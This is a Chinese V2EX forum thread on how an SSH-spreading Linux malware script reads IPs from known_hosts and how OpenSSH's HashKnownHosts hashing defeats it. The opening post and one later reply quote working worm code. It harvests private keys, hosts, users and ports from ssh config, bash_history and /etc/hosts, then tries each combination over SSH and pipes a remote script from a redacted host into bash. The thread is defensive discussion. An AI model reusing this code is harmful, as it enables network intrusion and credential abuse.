现在 Linux 恶意软件不能在内网中横向移动,多亏了 OpenSSH 这个特性。

2020-12-19 19:20:56 +08:00
 matrix67

恶意脚本里面有这么一串

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o-  http://45.xxx.xxx.37/b2f628fff19fda999999999/is.sh | bash >/dev/null 2>&1 &' & done
fi

看目的是为了进行横向移动。不过我测试了一下发现并没有在 known_hosts 找到 ip 地址。

我上网查了查[0],原来之前的记录方式是

host.rootshell.be,10.0.0.2 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0ei6KvTUHnmCjdsEwpCCaOHZWvjS \
jytm/5/Vv1Dc6ToaxTnqJ7ocBb7NI/HUQEc23eUYjFrZQDS0JRml3RnsG0UzvtIfAPDP1x7h6HHy4ixjAP7slXgqj3c \
fOV5ThNjYI0mEbIh1ezGWovwoy0IxRK9Lq29CacqQH8407b1jEj/zfOzUi3FgRlsKZTsc3UIoWSY0KPSSPlcSTInviG \
oNi+9gC8eqXHURsvOWyQMH5K5isvc/Wp1DiMxXSQ+uchBl6AoqSj6FTkRAQ9oAe8p1GekxuLh2PJ+dMDIuhGeZ60fIh \
eq15kzZGsDWkNF6hc/HmkJDSPn3bRmo3xmFP02sNw==

OpenSSH 4.0 之后,变为,

|1|U8gOHG/S5rH9uRH3cXgdUNF13F4=|cNimv6148Swl6QcwqBOjgRnHnKs= ssh-rsa AAAAB3NzaC1yc2EAAAABIw \
AAAQEAvAtd04lhxzzqW57464mhkubDixZpy+qxvXBVodNmbM8culkfYtmq0Ynd+1G1s3hcBSEa8XHhNdcxTx51MbIjO \
dCbFyx6rbvTIU/5T2z0/TMjeQyL3SZttbYWM2U0agKp/86FdaQF6V87loNcDq/26JLBSaZgViZS4gKZbflZCdD6aB2s \
2sqEV4k7zU2OMHPy7W6ghNQzEu+Ep/44w4RCdI5OYFfids9B0JSUefR9eiumjRwyI0dCPyq9jrQZy47AI7oiQJqSjvu \
eMIwZrrlmECYSvOru0MiyeKwsm7m8dyzAE+f2CkdUh6tQleLRLnEMH+25EAB56AhkpWSuMPJX1w==

U8gOHG/S5rH9uRH3cXgdUNF13F4= 这一部分是盐的 base64,| 后面部分是 hostname HMAC 后的 base64 。

这么一来恶意软件在内网中,至少没法从 known_hosts 里面获取到已经登录过的 ip,进行横向移动了。

[0]https://blog.rootshell.be/2010/11/03/bruteforcing-ssh-known_hosts-files/

4386 次点击
所在节点    Linux
22 条回复
Hardrain
2020-12-19 20:25:25 +08:00
OpenSSH 最新的版本是 8.2

这个功能不是新加入的

只要在配置文件添加 HashKnownHosts yes 即会启用

有些发行版分发的配置文件默认启用这个功能 有些则没有
a342191555
2020-12-19 21:51:37 +08:00
突然在想未来会不会演化成从 history 中取 ssh host…
salmon5
2020-12-19 22:14:25 +08:00
横向移动,想到了螃蟹
no1xsyzy
2020-12-20 03:07:26 +08:00
@a342191555 我的直觉告诉我已经有了,而且肯定已经有了从 ~/.ssh/config 里取的。
mingl0280
2020-12-20 07:53:28 +08:00
@no1xsyzy 两个都有,他遇上的这个估计是很老的脚本……
matrix67
2020-12-20 09:06:13 +08:00
@a342191555
@no1xsyzy
@mingl0280

有道理,那我感觉还可以 nmap 扫一下内网网段啥的。我看这个脚本后面还搞了一堆的装包,git clone 还编译的。。。
mingl0280
2020-12-20 10:14:16 +08:00
@matrix67 讲真这种写恶意脚本的大部分水平不太行,哈哈哈
Owenjia
2020-12-20 10:45:44 +08:00
ip neigh 和 history 可能也需要注意一下……
xuanbg
2020-12-20 13:02:37 +08:00
内网扩散还需要什么 known_hosts,扫描整个网段就是了。难道不是扫到漏洞就利用漏洞去感染目标主机的吗?
no1xsyzy
2020-12-20 13:08:23 +08:00
@xuanbg 有 SSH 可以不用漏洞,known_hosts 算是种加速,不然 10/8 用 bash 得扫一年……
也不止是局域网横向,也可以顺此侵入服务器(哪怕只是很久以前初次配置的时候登录过)
Cu635
2020-12-20 13:36:45 +08:00
@Hardrain
好像是跟发行版和 openssh 软件包的版本都有关,同一个发行版,旧版软件包就没有开启,新版的才默认开启了这个功能
cdlnls
2020-12-20 20:07:43 +08:00
前段时间正好也遇到一个内网通过 ssh 扩散的脚本,可以说很是优秀的了。

用 find 去找私钥,从 hosts 文件里面找主机,从历史记录里面找 scp 和 ssh 的记录,从.ssh 目录里面找已经连接过的主机,从 config 文件里面拿私钥的路径,等等好几个来源。

最后最牛逼的是用这些从不同途径拿到的主机端口 key,又重新排列组合一遍,最后遍历这些组合。
cdlnls
2020-12-20 20:11:57 +08:00
缺点也是有的,它没有解析 known_hosts 文件里面的 base64,也算是留了改进的空间吧……
matrix67
2020-12-20 22:47:35 +08:00
@cdlnls 有没有样例,求分享个看看哈哈
cdlnls
2020-12-20 23:09:22 +08:00
@matrix67 我晚点整理一下发出来
cdlnls
2020-12-20 23:20:54 +08:00
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://xxx.com)|bash >/dev/null 2>&1 &' & done
fi

for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://xxx.com)|bash >/dev/null 2>&1 &' & done
fi
fi
done

localgo() {
myhostip=$(curl -sL icanhazip.com)
KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})
KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')
HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq
)
USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq)
pl=$(
echo "22"
cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}'
)
sshports=$(echo "$pl" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
i=0
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
for sshp in $sshports; do
i=$((i+1))
if [ "${i}" -eq "20" ]; then
sleep 20
ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
i=0
fi
#Wait 20 seconds after every 20 attempts and clean up hanging processes

chmod +r $key
chmod 400 $key
echo "$user@$host $key $sshp"
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://xxx.com||wget -q -O- http://xxx.com)|bash >/dev/null 2>&1 &"
done
done
done
done
}
localgo
cdlnls
2020-12-20 23:30:49 +08:00
我只截取了脚本里面关于 ssh 扩散的这一部分,xxx 点 com 是一个下载脚本的 url,这里我给去掉了。
rickc137
2020-12-21 10:12:34 +08:00
请问这种恶意脚本一般是怎么发现的啊...
virusdefender
2020-12-25 11:39:16 +08:00
Mac 上的 known_hosts 还是明文的
matrix67
2020-12-25 11:55:32 +08:00
@rickc137 中毒或者蜜罐

@virusdefender 你看看 HashKnownHosts

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/737096

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX